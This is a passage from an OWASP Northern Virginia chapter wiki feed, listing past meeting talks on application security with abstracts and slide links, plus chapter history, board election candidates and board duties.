''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''&amp;lt;br&amp;gt; Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''&amp;lt;br&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups. &lt;br /&gt;
&lt;br /&gt;
Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group. &lt;br /&gt;
&lt;br /&gt;
Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''&amp;lt;br&amp;gt; Later, a panel: &lt;br /&gt;
&lt;br /&gt;
*Steven Lavenhar, Booz Allen Hamilton; &lt;br /&gt;
*Eric Dalci, Cigital Inc.&lt;br /&gt;
&lt;br /&gt;
Panel moderated by John Steven &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools. &lt;br /&gt;
&lt;br /&gt;
Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''&amp;lt;br&amp;gt; Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Later, &lt;br /&gt;
&lt;br /&gt;
*Nate Miller, Stratum Security; &lt;br /&gt;
*Jeremiah Grossman, Whitehat Security; &lt;br /&gt;
*Tom Brennan, Whitehat Security; and &lt;br /&gt;
*Wade Woolwine, AOL&lt;br /&gt;
&lt;br /&gt;
served as penetration testing panels answering questions posed and moderated by Ken Van Wyk. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity''' &lt;br /&gt;
&lt;br /&gt;
Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth. &lt;br /&gt;
&lt;br /&gt;
This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes. &lt;br /&gt;
&lt;br /&gt;
Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett ) &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]] &lt;br /&gt;
&lt;br /&gt;
''John Steven, Cigital'': '''Moving Beyond Top N Lists''' &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real. &lt;br /&gt;
&lt;br /&gt;
John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== January 2009  ===&lt;br /&gt;
&lt;br /&gt;
To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project. &lt;br /&gt;
&lt;br /&gt;
''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI''' &lt;br /&gt;
&lt;br /&gt;
Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices. &lt;br /&gt;
&lt;br /&gt;
Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes &amp;amp;amp; Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]] &lt;br /&gt;
&lt;br /&gt;
''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS''' &lt;br /&gt;
&lt;br /&gt;
The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies. &lt;br /&gt;
&lt;br /&gt;
Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our November 2008 meeting, we had two great presentations on software assurance and security testing. &lt;br /&gt;
&lt;br /&gt;
''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance''' &lt;br /&gt;
&lt;br /&gt;
Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]&lt;br /&gt;
&lt;br /&gt;
''Paco Hope, Cigital'': '''The Web Security Testing Cookbook''' &lt;br /&gt;
&lt;br /&gt;
The Web Security Testing Cookbook (O'Reilly &amp;amp;amp; Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort. &lt;br /&gt;
&lt;br /&gt;
Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]] &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our October 2008 meeting, we had two fascinating talks relating to forensics. &lt;br /&gt;
&lt;br /&gt;
''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats''' &lt;br /&gt;
&lt;br /&gt;
Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats] &lt;br /&gt;
&lt;br /&gt;
''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data''' &lt;br /&gt;
&lt;br /&gt;
Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data] &lt;br /&gt;
&lt;br /&gt;
=== History  ===&lt;br /&gt;
&lt;br /&gt;
The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship. &lt;br /&gt;
&lt;br /&gt;
==== Chapter Groups  ====&lt;br /&gt;
&lt;br /&gt;
Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in: &lt;br /&gt;
&lt;br /&gt;
*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling] &lt;br /&gt;
*[http://groups.google.com/group/novaowasp_mobile Mobile]&lt;br /&gt;
&lt;br /&gt;
=== OWASP NoVa Members On Twitter  ===&lt;br /&gt;
&lt;br /&gt;
Mike McCabe [http://twitter.com/mccabe615 http://twitter.com/mccabe615] &lt;br /&gt;
&lt;br /&gt;
John Steven [http://twitter.com/m1splacedsoul http://twitter.com/m1splacedsoul] &lt;br /&gt;
&lt;br /&gt;
Jack Mannino [http://twitter.com/jack_mannino http://twitter.com/jack_mannino] &lt;br /&gt;
&lt;br /&gt;
Ben Tomhave [http://twitter.com/falconsview http://twitter.com/falconsview] &lt;br /&gt;
&lt;br /&gt;
Ken Johnson [http://twitter.com/cktricky http://twitter.com/cktricky] &lt;br /&gt;
&lt;br /&gt;
Mike Smith [http://twitter.com/rybolov http://twitter.com/rybolov] &lt;br /&gt;
&lt;br /&gt;
Trevor Hawthorn [http://twitter.com/packetwerks http://twitter.com/packetwerks] &lt;br /&gt;
&lt;br /&gt;
Jeremy Long [http://twitter.com/ctxt http://twitter.com/ctxt] &lt;br /&gt;
&lt;br /&gt;
Ari Elias-Bachrach [http://twitter.com/angelofsecurity http://twitter.com/angelofsecurity] &lt;br /&gt;
&lt;br /&gt;
Venkat Sundaram [http://twitter.com/Vnk3889 http://twitter.com/Vnk3889] &lt;br /&gt;
&lt;br /&gt;
==== Knowledge  ====&lt;br /&gt;
&lt;br /&gt;
The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as: &lt;br /&gt;
&lt;br /&gt;
*Threat Modeling &lt;br /&gt;
*[[Code Review and Static Analysis with tools]] &lt;br /&gt;
*Penetration Testing and Dynamic Analysis tools &lt;br /&gt;
*Monitoring/Dynamic patching (WAFs)&lt;br /&gt;
&lt;br /&gt;
Certain projects our members are involved in cross-cut these activities, providing value throughout. They include: &lt;br /&gt;
&lt;br /&gt;
*ASVS&lt;br /&gt;
&lt;br /&gt;
=== Static Analysis Curriculum  ===&lt;br /&gt;
&lt;br /&gt;
*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].&lt;br /&gt;
&lt;br /&gt;
The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter]. &lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]] &lt;br /&gt;
&lt;br /&gt;
'''Contacts'''&amp;lt;br&amp;gt; Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Flash Talk Resources  ===&lt;br /&gt;
&lt;br /&gt;
Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] &amp;lt;br&amp;gt; [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information &amp;lt;br&amp;gt; Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Northern Virginia&amp;lt;/paypal&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:United States]]&lt;br /&gt;
[[Category:Virginia]]&lt;br /&gt;
[[Category:Washington,_DC]]&lt;/div&gt;</summary>
		<author><name>Michael McCabe</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Virginia&amp;diff=203128</id>
		<title>Virginia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Virginia&amp;diff=203128"/>
				<updated>2015-11-05T21:06:27Z</updated>
		
		<summary type="html">&lt;p&gt;Michael McCabe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== About  ====&lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge. &lt;br /&gt;
&lt;br /&gt;
We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules. &lt;br /&gt;
&lt;br /&gt;
The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics. &lt;br /&gt;
&lt;br /&gt;
{{Chapter Template|chaptername=Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.&lt;br /&gt;
&lt;br /&gt;
=== 2015 Chapter Election Candidates ===&lt;br /&gt;
*Mike McCabe - Board Chair&lt;br /&gt;
**OWASP Membership ID: 020000901&lt;br /&gt;
**Endorsement - Jack Mannino, Current Board Chair&lt;br /&gt;
**Full Disclosure: Mike reports directly to me at our day job.&lt;br /&gt;
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.&lt;br /&gt;
*Akshay Sivananda&lt;br /&gt;
**OWASP Membership ID:  020000050&lt;br /&gt;
**Endorsement - Ping Ning, Chapter Member&lt;br /&gt;
**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.&lt;br /&gt;
*Abdullah Munawar&lt;br /&gt;
**OWASP Membership ID: 020000037&lt;br /&gt;
**Endorsement - Jon Callahan, Chapter Member&lt;br /&gt;
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been. &lt;br /&gt;
&lt;br /&gt;
=== Chapter Board ===&lt;br /&gt;
Previously having had a Chapter Leader, then a Chapter &amp;quot;Program Committee&amp;quot;, the chapter is now run by a full board (alphabetical order):&lt;br /&gt;
* Michael McCabe - Board Chair&lt;br /&gt;
* Abdullah Munawar&lt;br /&gt;
* Akshay Sivananda&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Board member responsibilities include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;   * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics&lt;br /&gt;
   * Recruiting OWASP membership&lt;br /&gt;
   * Driving OWASP NoVA Chapter attendance and involvement&lt;br /&gt;
   * Deferring to, facilitating, and supporting the activities and projects of chapter membership&lt;br /&gt;
   * Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions&lt;br /&gt;
   * Scouting, clearing, and scheduling chapter meeting venues and catering&lt;br /&gt;
   * Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations&lt;br /&gt;
   * Collecting and auditing use of chapter funds&lt;br /&gt;
   * Voting on chapter matters&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;amp;authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}&lt;br /&gt;
&lt;br /&gt;
You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter. &lt;br /&gt;
&lt;br /&gt;
=== Schedule  ===&lt;br /&gt;
&lt;br /&gt;
Meetings are (generally) held the first Thursday of the month.&lt;br /&gt;
&lt;br /&gt;
Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.  &lt;br /&gt;
&lt;br /&gt;
== Next Meeting  ==&lt;br /&gt;
&lt;br /&gt;
We'll post all meetings on the Meetup page below. &lt;br /&gt;
&lt;br /&gt;
We can also be contacted through the comment or messages systems on Meetup.&lt;br /&gt;
&lt;br /&gt;
For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past meetings ==&lt;br /&gt;
&lt;br /&gt;
===September 2014===&lt;br /&gt;
'''Date/Time:''' September 4th, 2014 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
We will cover some chapter business then go straight into a session covering Ruby on Rails Security.&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
The World of Ruby on Rails Security&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Take a quick trip through the world of Ruby on Rails security! The journey will start with an overview of security features offered by the popular web framework, then detour through dangerous pitfalls and unsafe defaults, and finally end with suggestions for improving security in Rails apps and integrating improvements into the development process.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Justin Collins is a member of the application security team at Twitter and the primary author of Brakeman, a static analysis security tool for Ruby on Rails.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===July 2014===&lt;br /&gt;
'''Date/Time:''' July 10th, 2014 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
OAuth 1.0 Authorization and Security&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===February 2013===&lt;br /&gt;
'''Date/Time:''' February 7th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Jeffrey Walton - &amp;quot;Securing Wireless Channels in the Mobile Space&amp;quot;, [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Securing Wireless Channels in the Mobile Space&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).&lt;br /&gt;
&lt;br /&gt;
'''Downloads:'''&lt;br /&gt;
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===January 2013===&lt;br /&gt;
'''Date/Time:''' January 10th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Upcoming chapter elections and 2013 plans&lt;br /&gt;
 * Talk: &amp;quot;Automating (Some) Android Security Testing&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Automating (Some) Android Security Testing&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===October 2012===&lt;br /&gt;
'''Date/Time:''' October 4th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
